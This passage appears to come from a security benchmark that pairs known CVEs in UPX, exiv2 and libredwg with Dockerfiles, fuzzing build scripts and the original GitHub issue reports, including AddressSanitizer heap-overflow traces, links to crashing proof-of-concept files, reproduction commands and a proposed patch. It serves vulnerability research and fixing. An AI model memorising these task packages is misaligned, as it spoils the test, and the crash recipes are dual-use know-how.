get_te32(hp++))); ``` Several locations will also trigger vulnerabilities: PackLinuxElf32::elf_lookup() at p_lx_elf.cpp:5368 ```cpp unsigned const w = get_te32(&bitmask[(n_bitmask -1) & (h>>5)]); ``` PackLinuxElf64::elf_lookup() at p_lx_elf.cpp:5404 ```cpp for (si= get_te32(&buckets[m]); 0!=si; si= get_te32(&chains[si])) ``` PackLinuxElf32::elf_lookup() at p_lx_elf.cpp:5349 ```cpp for (si= get_te32(&buckets[m]); 0!=si; si= get_te32(&chains[si])) { char const *const p= get_dynsym_name(si, (unsigned)-1); if (0==strcmp(name, p)) { return &dynsym[si]; } } ``` ## What should have happened? Decompress a crafted/suspicious file. ## Do you have an idea for a solution? We are very grateful to @jreiser for patching the bucket in p_lx_elf.cpp in the [issue 365](https://github.com/upx/upx/issues/365). However, in fact, all places involving get_te32 () should be strengthened in upx, especially in p_lx_elf.cpp. The four positions we reported should be patched at least: 1) p_lx_elf.cpp:5382 2) p_lx_elf.cpp:5368 3) p_lx_elf.cpp:5404 4) p_lx_elf.cpp:5349 ## How can we reproduce the issue? 1. compile upx with address-sanitize 2. execute cmd ```bash upx.out -df $PoC -o /dev/null ``` p_lx_elf.cpp:5382 [Poc](https://github.com/14isnot40/vul_discovery/blob/master/upx/df/hbo_PackLinuxElf32__elf_lookup5382) can be found here. p_lx_elf.cpp:5368 [Poc](https://github.com/14isnot40/vul_discovery/blob/master/upx/df/hbo_PackLinuxElf32__elf_lookup5368) can be found here. p_lx_elf.cpp:5404 [Poc](https://github.com/14isnot40/vul_discovery/blob/master/upx/df/hbo_PackLinuxElf64__elf_lookup5404) can be found here. p_lx_elf.cpp:5349 [Poc](https://github.com/14isnot40/vul_discovery/blob/master/upx/df/hbo_PackLinuxElf32__elf_lookup5349) can be found here. ## Please tell us details about your environment. * UPX version used (`upx --version`): ```bash upx 4.0.0-git-c6b9e3c62d15 (latest-devel-branch) UCL data compression library 1.03 zlib data compression library 1.2.8 LZMA SDK version 4.43 ``` * Host Operating System and version: Ubuntu 16.04 64-bit * Host CPU architecture: Intel(R) Core(TM) i5-6200U CPU @ 2.30GHz with 8GB * Target Operating System and version: same as Host * Target CPU architecture: same as Host Comments: Comment by jreiser on 2020-05-28 00:14:16+00:00: Fixed on `devel` branch by above commit. --- Comment by jreiser on 2023-04-17 18:03:04+00:00: Verified as "reported problem is not present" in official release [upx-4.0.2](https://github.com/upx/upx/releases/tag/v4.0.2) of Jan.30, 2023. ``` $ for i in *; do $UPX402 -df -o /dev/null $i; done Ultimate Packer for eXecutables Copyright (C) 1996 - 2023 UPX 4.0.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 30th 2023 File size Ratio Format Name -------------------- ------ ----------- ----------- upx: hbo_PackLinuxElf32__elf_lookup5349: NotPackedException: not packed by UPX Unpacked 0 files. Ultimate Packer for eXecutables Copyright (C) 1996 - 2023 UPX 4.0.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 30th 2023 File size Ratio Format Name -------------------- ------ ----------- ----------- upx: hbo_PackLinuxElf32__elf_lookup5368: NotPackedException: not packed by UPX Unpacked 0 files. Ultimate Packer for eXecutables Copyright (C) 1996 - 2023 UPX 4.0.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 30th 2023 File size Ratio Format Name -------------------- ------ ----------- ----------- upx: hbo_PackLinuxElf32__elf_lookup5382: NotPackedException: not packed by UPX Unpacked 0 files. Ultimate Packer for eXecutables Copyright (C) 1996 - 2023 UPX 4.0.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 30th 2023 File size Ratio Format Name -------------------- ------ ----------- ----------- upx: hbo_PackLinuxElf64__elf_lookup5404: CantUnpackException: bad DT_STRSZ 0 Unpacked 0 files. ``` Also, by independent verification none of the PoC files are packed by UPX, as evidenced by not containing the string "UPX", so attempted de-compression via `upx -d` is correctly rejected: ``` $ grep UPX hbo_PackLinuxElf32__elf_lookup5349 hbo_PackLinuxElf32__elf_lookup5368 hbo_PackLinuxElf32__elf_lookup5382 hbo_PackLinuxElf64__elf_lookup5404 ## empty output $ echo $? 1 ## no matches found $ ```
[]
[ { "sha": "c8386ee47db1bb2ad702eadcdb8b13f2b2dc57d8", "url": "https://github.com/upx/upx/commit/c8386ee47db1bb2ad702eadcdb8b13f2b2dc57d8" }, { "sha": "b327645e648d46c8730be80730a171cf74cfe338", "url": "https://github.com/upx/upx/commit/b327645e648d46c8730be80730a171cf74cfe338" } ]
exiv2.cve-2017-17669
exiv2/exiv2
fa449a4d2c58d63f0d75ff259f25683a98a44630
2017-04-26T14:16:21
exiv2
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y cmake make ccache python3 libexpat1-dev zlib1g-dev libssh-dev libcurl4-openssl-dev libxml2-utils RUN git clone https://github.com/exiv2/exiv2 exiv2 RUN git -C exiv2 checkout fa449a4d2c58d63f0d75ff259f25683a98a44630 WORKDIR $SRC/exiv2 COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu mkdir -p build cd build cmake -DEXIV2_ENABLE_PNG=ON -DEXIV2_ENABLE_WEBREADY=ON -DEXIV2_ENABLE_CURL=OFF -DEXIV2_ENABLE_BMFF=ON -DEXIV2_TEAM_WARNINGS_AS_ERRORS=ON -DBUILD_SHARED_LIBS=OFF -DCMAKE_CXX_COMPILER="${CXX}" -DCMAKE_CXX_FLAGS="${CXXFLAGS}" -DEXIV2_BUILD_FUZZ_TESTS=ON -DEXIV2_TEAM_OSS_FUZZ=ON -DLIB_FUZZING_ENGINE="${LIB_FUZZING_ENGINE}" .. make -j $(nproc)
/src/exiv2
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/Exiv2/exiv2/issues/187 ## Description: Issue: Exiv2/exiv2#187 Title: CVE-2017-17669: heap-buffer-overflow in Exiv2::Internal::PngChunk::keyTXTChunk State: closed Created by: YangY-Xiao Created at: 2017-12-10 07:21:36+00:00 Issue Body: ## Description There is a heap-buffer-overflow vulnerability in Exiv2. The command is: ./exiv2 POC Stack trace with asan: ``` ==2826==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300000edb9 at pc 0x7f7c43e7a77a bp 0x7ffe0d1d6df0 sp 0x7ffe0d1d6de8 READ of size 1 at 0x60300000edb9 thread T0 #0 0x7f7c43e7a779 in Exiv2::Internal::PngChunk::keyTXTChunk(Exiv2::DataBuf const&, bool) /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/pngchunk_int.cpp:111:17 #1 0x7f7c43e7a000 in Exiv2::Internal::PngChunk::decodeTXTChunk(Exiv2::Image*, Exiv2::DataBuf const&, Exiv2::Internal::PngChunk::TxtChunkType) /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/pngchunk_int.cpp:78:23 #2 0x7f7c43d3ff3b in Exiv2::PngImage::readMetadata() /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/pngimage.cpp:445:21 #3 0x52f84c in Action::Print::printSummary() /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/actions.cpp:288:9 #4 0x52e389 in Action::Print::run(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/actions.cpp:240:44 #5 0x509598 in main /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/exiv2.cpp:166:19 #6 0x7f7c422e082f in __libc_start_main /build/glibc-bfm8X4/glibc-2.23/csu/../csu/libc-start.c:291 #7 0x4347b8 in _start (/home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/build_clang_with_sym/bin/exiv2+0x4347b8) 0x60300000edb9 is located 0 bytes to the right of 25-byte region [0x60300000eda0,0x60300000edb9) allocated by thread T0 here: #0 0x506030 in operator new[](unsigned long) (/home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/build_clang_with_sym/bin/exiv2+0x506030) #1 0x55b31f in Exiv2::DataBuf::DataBuf(long) /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/include/exiv2/types.hpp:206:46 #2 0x7f7c43d3fb50 in Exiv2::PngImage::readMetadata() /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/pngimage.cpp:420:25 #3 0x52f84c in Action::Print::printSummary() /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/actions.cpp:288:9 #4 0x52e389 in Action::Print::run(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/actions.cpp:240:44 #5 0x509598 in main /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/exiv2.cpp:166:19 #6 0x7f7c422e082f in __libc_start_main /build/glibc-bfm8X4/glibc-2.23/csu/../csu/libc-start.c:291 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/rg/fuzz_project/exiv2/exiv2_test/exiv2_github_1210/src/pngchunk_int.cpp:111:17 in Exiv2::Internal::PngChunk::keyTXTChunk(Exiv2::DataBuf const&, bool) Shadow bytes around the buggy address: 0x0c067fff9d60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff9d70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff9d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff9d90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c067fff9db0: fa fa fa fa 00 00 00[01]fa fa 00 00 00 fa fa fa 0x0c067fff9dc0: 00 00 00 00 fa fa fd fd fd fd fa fa fd fd fd fd 0x0c067fff9dd0: fa fa fd fd fd fa fa fa 00 00 02 fa fa fa 00 00 0x0c067fff9de0: 02 fa fa fa 00 00 02 fa fa fa 00 00 02 fa fa fa 0x0c067fff9df0: 00 00 00 fa fa fa 00 00 00 01 fa fa 00 00 00 fa 0x0c067fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==2826==ABORTING ``` ## PoC PoC https://github.com/Young-X/pocs/blob/master/Exiv2/issue_187 [](https://github.com/Young-X/pocs/blob/master/Exiv2/issue_187) ## Author Credit to Young_X@VARAS, IIE Comments: Comment by clanmills on 2017-12-10 07:23:55+00:00: Thanks, I'll take a look at this. --- Comment by carnil on 2018-01-01 13:55:52+00:00: This issue was assigned CVE-2017-17669 --- Comment by D4N on 2018-01-06 10:45:53+00:00: @Young-X Which commit of exiv2 did you build? And can you please retry with the current HEAD? --- Comment by fgeek on 2018-01-08 21:25:37+00:00: 4be065595e4b81e876e32c9c4705f8313f896d43 crashes with similar heap-buffer-overflow output from ASan in amd64. Is there a good way to add this reproducer to automated tests? --- Comment by brianmay on 2018-01-12 04:54:02+00:00: I believe the relevant code for the first error is this: ``` const byte *key = data.pData_ + (stripHeader ? 8 : 0); // Find null string at end of key. int keysize=0; for ( ; key[keysize] != 0 ; keysize++) { // look if keysize is valid. if (keysize >= data.size_) throw Error(14); } ``` I think there are several errors here, that are applicable if the key is too big or isn't correctly null terminated. 1. If `stripHeader` is True, we add 8 bytes to the pointer, but we don't decrease data.size_ by the corresponding amount. So we may read 8 bytes past the end of the buffer, 2. As per the for loop, after each iteration, we: 1. Increment `keysize`. 2. Check `key[keysize]`. 3. Check `keysize` isn't too big. However, by the time we have checked `keysize` in step 3, we have already potentially read past the end of the buffer in step 2. i.e. off by one error. --- Comment by brianmay on 2018-01-12 05:15:53+00:00: Here is a potential patch that I believe will solve the issues: ```diff diff --git a/src/pngchunk.cpp b/src/pngchunk.cpp index da4ccd01..b54bcdac 100644 --- a/src/pngchunk.cpp +++ b/src/pngchunk.cpp @@ -107,15 +107,17 @@ namespace Exiv2 { { // From a tEXt, zTXt, or iTXt chunk, // we get the key, it's a null terminated string at the chunk start - if (data.size_ <= (stripHeader ? 8 : 0)) throw Error(14); - const byte *key = data.pData_ + (stripHeader ? 8 : 0); + const int offset = stripHeader ? 8 : 0; + if (data.size_ <= offset) throw Error(14); + const byte *key = data.pData_ + offset; // Find null string at end of key. int keysize=0; - for ( ; key[keysize] != 0 ; keysize++) + while (key[keysize] != 0) { + keysize++; // look if keysize is valid. - if (keysize >= data.size_) + if (keysize+offset >= data.size_) throw Error(14); } ``` --- Comment by D4N on 2018-01-12 08:43:22+00:00: @brianmay Thanks for your investigation. I believe you are right and the patch looks good too. Thanks a lot! --- Comment by clanmills on 2018-01-12 11:50:02+00:00: Thank You, Brian for this contribution. Looks about right to me! If you'd like to investigate other issues, the team would value your contribution. We're all over-worked and under-paid volunteers. All assistance is appreciated! https://www.youtube.com/watch?v=3Fv57Lbhmqg --- Comment by D4N on 2018-03-19 23:41:51+00:00: The fix for this and the reproducer are on master. Commit References: 4be065595e4b81e876e32c9c4705f8313f896d43
[]
[ { "sha": "4be065595e4b81e876e32c9c4705f8313f896d43", "url": "https://github.com/exiv2/exiv2/commit/4be065595e4b81e876e32c9c4705f8313f896d43" }, { "sha": "5f360a99af83bd44d269e8fce6f48f375094f5a3", "url": "https://github.com/Exiv2/exiv2/commit/5f360a99af83bd44d269e8fce6f48f375094f5a3" }, { "sha": "4429b962e10e9f2e905e20b183ba008c616cd366", "url": "https://github.com/Exiv2/exiv2/commit/4429b962e10e9f2e905e20b183ba008c616cd366" } ]
libredwg.cve-2020-21830
libredwg/libredwg
d5a51c01023d5585ddf3dd17c83dbb3c81efc97e
2020-01-08T08:16:22
libredwg
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y autoconf libtool texinfo RUN git clone https://github.com/libredwg/libredwg libredwg RUN git -C libredwg checkout d5a51c01023d5585ddf3dd17c83dbb3c81efc97e WORKDIR $SRC/libredwg COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu sh ./autogen.sh ./configure --disable-shared make -j$(nproc)
/src/libredwg
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/LibreDWG/libredwg/issues/188#issuecomment-574493134 ## Description: Issue: LibreDWG/libredwg#188 Title: Several bugs found by fuzzing Referenced comment by linhlhq on 2020-01-15 04:41:39+00:00: **8.heap-buffer-overflow in bit_calc_CRC ../../src/bits.c:2213** POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000034%2Csig:06%2Csrc:003269%2B004108%2Cop:splice%2Crep:4 ``` ================================================================= ==18234==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62b000006a00 at pc 0x55d633177a35 bp 0x7ffdcca65160 sp 0x7ffdcca65150 READ of size 1 at 0x62b000006a00 thread T0 #0 0x55d633177a34 in bit_calc_CRC ../../src/bits.c:2213 #1 0x55d633177a34 in bit_check_CRC ../../src/bits.c:1279 #2 0x55d63374e8b7 in dwg_decode_add_object ../../src/decode.c:5555 #3 0x55d6337816a4 in read_2004_section_handles ../../src/decode.c:2719 #4 0x55d6337816a4 in decode_R2004 ../../src/decode.c:3354 #5 0x55d63379308d in dwg_decode ../../src/decode.c:246 #6 0x55d633125fae in dwg_read_file ../../src/dwg.c:211 #7 0x55d6331249d0 in get_bmp ../../programs/dwgbmp.c:111 #8 0x55d633124066 in main ../../programs/dwgbmp.c:280 #9 0x7f3fdd3f6b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #10 0x55d6331246c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9) 0x62b000006a00 is located 0 bytes to the right of 26624-byte region [0x62b000000200,0x62b000006a00) allocated by thread T0 here: #0 0x7f3fddc42d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38) #1 0x55d6331bcf25 in read_2004_compressed_section ../../src/decode.c:2321 #2 0x55d633c674b2 (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0xdd24b2) SUMMARY: AddressSanitizer: heap-buffer-overflow ../../src/bits.c:2213 in bit_calc_CRC Shadow bytes around the buggy address: 0x0c567fff8cf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c567fff8d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c567fff8d10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c567fff8d20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c567fff8d30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c567fff8d40:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c567fff8d50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c567fff8d60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c567fff8d70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c567fff8d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c567fff8d90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==18234==ABORTING ```
[ { "content": "[libfuzzer]\ndetect_leaks=0\n", "filename": "fuzz_dwg_decode.options" } ]
[ { "sha": "6757b07c65742277ae2ff5c9fe32157195726258", "url": "https://github.com/LibreDWG/libredwg/commit/6757b07c65742277ae2ff5c9fe32157195726258" }, { "sha": "d447393a30df70531215e17baa609be5609c8614", "url": "https://github.com/LibreDWG/libredwg/commit/d447393a30df70531215e17baa609be5609c8614" }, { "sha": "6ea3bdb8836e4c9833c78c1a983dab7b2ba88b31", "url": "https://github.com/LibreDWG/libredwg/commit/6ea3bdb8836e4c9833c78c1a983dab7b2ba88b31" }, { "sha": "7fc210259cf00850627cafaad1267d541f69c2b7", "url": "https://github.com/LibreDWG/libredwg/commit/7fc210259cf00850627cafaad1267d541f69c2b7" }, { "sha": "f955c0b8fde285a038befcd173bfb86a636890fc", "url": "https://github.com/LibreDWG/libredwg/commit/f955c0b8fde285a038befcd173bfb86a636890fc" }, { "sha": "185889b5abc6ff68b071758b82cf20be11102326", "url": "https://github.com/LibreDWG/libredwg/commit/185889b5abc6ff68b071758b82cf20be11102326" }, { "sha": "3cf9d1705ff51d6970970ca9e4911c2eab0d338b", "url": "https://github.com/LibreDWG/libredwg/commit/3cf9d1705ff51d6970970ca9e4911c2eab0d338b" }, { "sha": "93c25124c191987af168ace9fe4b5623061874bd", "url": "https://github.com/LibreDWG/libredwg/commit/93c25124c191987af168ace9fe4b5623061874bd" }, { "sha": "5650507fb5065c329984f19ce040fd83bd1a5298", "url": "https://github.com/LibreDWG/libredwg/commit/5650507fb5065c329984f19ce040fd83bd1a5298" }, { "sha": "8e961a8ead7818b72f36bdf9eccd0d330e6ea231", "url": "https://github.com/LibreDWG/libredwg/commit/8e961a8ead7818b72f36bdf9eccd0d330e6ea231" }, { "sha": "69b4132a0591b81fddd30588a67c79fc01e69c52", "url": "https://github.com/LibreDWG/libredwg/commit/69b4132a0591b81fddd30588a67c79fc01e69c52" }, { "sha": "0075d173dbb015b72ed779d6ec7ca016841972f3", "url": "https://github.com/LibreDWG/libredwg/commit/0075d173dbb015b72ed779d6ec7ca016841972f3" }, { "sha": "84d938b1d28d514eead8fdc21e7eec4fdfe053f5", "url": "https://github.com/LibreDWG/libredwg/commit/84d938b1d28d514eead8fdc21e7eec4fdfe053f5" }, { "sha": "3d32e491b912cce17c6b8080b32872b1c11472c3", "url": "https://github.com/LibreDWG/libredwg/commit/3d32e491b912cce17c6b8080b32872b1c11472c3" }, { "sha": "07470ca096ff1587fe3b9a57b8366cfcc043d131", "url": "https://github.com/LibreDWG/libredwg/commit/07470ca096ff1587fe3b9a57b8366cfcc043d131" }, { "sha": "e685e689d05d4b7da9a61e9d0868a65db4f82469", "url": "https://github.com/LibreDWG/libredwg/commit/e685e689d05d4b7da9a61e9d0868a65db4f82469" }, { "sha": "97cc629fbea0d8d81b33ce382214578f3379de09", "url": "https://github.com/LibreDWG/libredwg/commit/97cc629fbea0d8d81b33ce382214578f3379de09" }, { "sha": "529decd91126d9a436ce2d0a84434ed7899be507", "url": "https://github.com/LibreDWG/libredwg/commit/529decd91126d9a436ce2d0a84434ed7899be507" }, { "sha": "8e14a3ee22cc1f96b638ee36c1aba3bbea314687", "url": "https://github.com/LibreDWG/libredwg/commit/8e14a3ee22cc1f96b638ee36c1aba3bbea314687" }, { "sha": "496702e3c2486adae863fd919f20e7a7490c847c", "url": "https://github.com/LibreDWG/libredwg/commit/496702e3c2486adae863fd919f20e7a7490c847c" }, { "sha": "8a75ac27367343e531dd7ee1b61db70edf2e816a", "url": "https://github.com/LibreDWG/libredwg/commit/8a75ac27367343e531dd7ee1b61db70edf2e816a" }, { "sha": "07c078aca71840f0f9a0dffb3032056d043858b0", "url": "https://github.com/LibreDWG/libredwg/commit/07c078aca71840f0f9a0dffb3032056d043858b0" }, { "sha": "12dafc13a96cdaa019f95a6ca245e8b29d1763a5", "url": "https://github.com/LibreDWG/libredwg/commit/12dafc13a96cdaa019f95a6ca245e8b29d1763a5" }, { "sha": "e03b16b603c566c317f7c5161cc7550360081dd0", "url": "https://github.com/LibreDWG/libredwg/commit/e03b16b603c566c317f7c5161cc7550360081dd0" }, { "sha": "92feac9b0dcfe3193d479fc245f95a8d025db4d7", "url": "https://github.com/LibreDWG/libredwg/commit/92feac9b0dcfe3193d479fc245f95a8d025db4d7" }, { "sha": "3f0faa6944648abca5fb64c6fc8f88b0dcbd9d1a", "url": "https://github.com/LibreDWG/libredwg/commit/3f0faa6944648abca5fb64c6fc8f88b0dcbd9d1a" }, { "sha": "14a3ffe26d4bcd267c42471caebaf21185c16a4c", "url": "https://github.com/LibreDWG/libredwg/commit/14a3ffe26d4bcd267c42471caebaf21185c16a4c" }, { "sha": "d7bdfbc83211fb8732ab12382f2c3bfab51e3480", "url": "https://github.com/LibreDWG/libredwg/commit/d7bdfbc83211fb8732ab12382f2c3bfab51e3480" }, { "sha": "107b5e47f3de5d333405e0a201f495a4a905e96b", "url": "https://github.com/LibreDWG/libredwg/commit/107b5e47f3de5d333405e0a201f495a4a905e96b" }, { "sha": "f6db9268d2d3ad568b6d3ba432ca2b5f2b3804a9", "url": "https://github.com/LibreDWG/libredwg/commit/f6db9268d2d3ad568b6d3ba432ca2b5f2b3804a9" }, { "sha": "c0bbb7388465800f01683fa90d434026c852f06c", "url": "https://github.com/LibreDWG/libredwg/commit/c0bbb7388465800f01683fa90d434026c852f06c" }, { "sha": "ea93bca48a63ddf70f7df017f2c21f38469a83af", "url": "https://github.com/LibreDWG/libredwg/commit/ea93bca48a63ddf70f7df017f2c21f38469a83af" }, { "sha": "817e586f2bbce42cf9e75e118c1c7feae941669b", "url": "https://github.com/LibreDWG/libredwg/commit/817e586f2bbce42cf9e75e118c1c7feae941669b" }, { "sha": "41ff7afc44babae1236c3587024ee84b57006990", "url": "https://github.com/LibreDWG/libredwg/commit/41ff7afc44babae1236c3587024ee84b57006990" }, { "sha": "55295f939b6a8cfd7a25c40ea780d8c83e67b0db", "url": "https://github.com/LibreDWG/libredwg/commit/55295f939b6a8cfd7a25c40ea780d8c83e67b0db" }, { "sha": "5064790b1bf390807bfa727139e40a3afd85183e", "url": "https://github.com/LibreDWG/libredwg/commit/5064790b1bf390807bfa727139e40a3afd85183e" }, { "sha": "d6f8f351c34c4ad2b9e300a8b0718439467bd55a", "url": "https://github.com/LibreDWG/libredwg/commit/d6f8f351c34c4ad2b9e300a8b0718439467bd55a" }, { "sha": "ba6aa54df0c78bc930b4ec71f72767f1a011d96e", "url": "https://github.com/LibreDWG/libredwg/commit/ba6aa54df0c78bc930b4ec71f72767f1a011d96e" }, { "sha": "b7369a17445f8831582af3708a5e84362b0db536", "url": "https://github.com/LibreDWG/libredwg/commit/b7369a17445f8831582af3708a5e84362b0db536" } ]
upx.cve-2020-27788
upx/upx
eb90eab6325d009004ffb155e3e33f22d4d3ca26
2020-01-13T19:10:02
upx
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool cmake RUN git clone https://github.com/upx/upx upx RUN git -C upx checkout eb90eab6325d009004ffb155e3e33f22d4d3ca26 WORKDIR $SRC/upx COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu sed -i 's/ \&\& __clang_major__ < 15//m' /src/upx/src/util/util.cpp mkdir -p build/debug cd build/debug cmake ../.. cmake --build . --target $fuzz_basename -v
/src/upx
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/upx/upx/issues/332 ## Description: Issue: upx/upx#332 Title: heap-buffer-overflow in PackLinuxElf64::canPack() at p_lx_elf.cpp:2385 State: closed Created by: cxy20103657 Created at: 2020-01-13 08:10:55+00:00 Issue Body: ## Environment A crafted input will lead to crash in p_lx_elf.cpp at UPX 3.96(latest version,git clone from branch devel) root@ubuntu:/home/upx_cp_2/src# ./upx.out --version upx 3.96-git-0f4975fd7ffb+ UCL data compression library 1.03 zlib data compression library 1.2.8 LZMA SDK version 4.43 Copyright (C) 1996-2020 Markus Franz Xaver Johannes Oberhumer Copyright (C) 1996-2020 Laszlo Molnar Copyright (C) 2000-2020 John F. Reiser Copyright (C) 2002-2020 Jens Medoch Copyright (C) 1995-2005 Jean-loup Gailly and Mark Adler Copyright (C) 1999-2006 Igor Pavlov ## POC [poc](https://github.com/cxy20103657/software_poc/blob/master/upx_poc1) ## Problem The debug information is as follows: open BUILD_TYPE_DEBUG ?= 1 BUILD_TYPE_SANITIZE ?= 1 root@ubuntu:/home/upx_cp_2/src# ./upx.out -1 /home/upx_out_cp/crashes/poc1 Ultimate Packer for eXecutables Copyright (C) 1996 - 2020 UPX git-0f4975+ Markus Oberhumer, Laszlo Molnar & John Reiser Jan 12th 2020 File size Ratio Format Name -------------------- ------ ----------- ----------- ================================================================= ==104331==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x63000001f269 at pc 0x7fcdfaf852fd bp 0x7ffc36d39f70 sp 0x7ffc36d39718 READ of size 1 at 0x63000001f269 thread T0 #0 0x7fcdfaf852fc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x472fc) #1 0x5077e1 in PackLinuxElf64::canPack() /home/upx_cp_2/src/p_lx_elf.cpp:2385 #2 0x7cbd70 in try_pack /home/upx_cp_2/src/packmast.cpp:91 #3 0x7d37e2 in PackMaster::visitAllPackers(Packer* (*)(Packer*, void*), InputFile*, options_t const*, void*) /home/upx_cp_2/src/packmast.cpp:194 #4 0x7d9bee in PackMaster::getPacker(InputFile*) /home/upx_cp_2/src/packmast.cpp:240 #5 0x7da15b in PackMaster::pack(OutputFile*) /home/upx_cp_2/src/packmast.cpp:260 #6 0x884dc8 in do_one_file(char const*, char*) /home/upx_cp_2/src/work.cpp:158 #7 0x88624e in do_files(int, int, char**) /home/upx_cp_2/src/work.cpp:271 #8 0x468b28 in main /home/upx_cp_2/src/main.cpp:1539 #9 0x7fcdf96d582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #10 0x4030f8 in _start (/home/upx_cp_2/src/upx.out+0x4030f8) AddressSanitizer can not describe address in more detail (wild memory access suspected). SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 ?? Shadow bytes around the buggy address: 0x0c607fffbdf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c607fffbe00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c607fffbe10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c607fffbe20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c607fffbe30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c607fffbe40: fa fa fa fa fa fa fa fa fa fa fa fa fa[fa]fa fa 0x0c607fffbe50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c607fffbe60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c607fffbe70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c607fffbe80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c607fffbe90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==104331==ABORTING Comments: Comment by jreiser on 2020-01-14 01:28:16+00:00: Fixed by above commit 1bb93d4 . --- Comment by ajakk on 2022-08-18 22:37:18+00:00: RedHat gave this CVE-2020-27788
[]
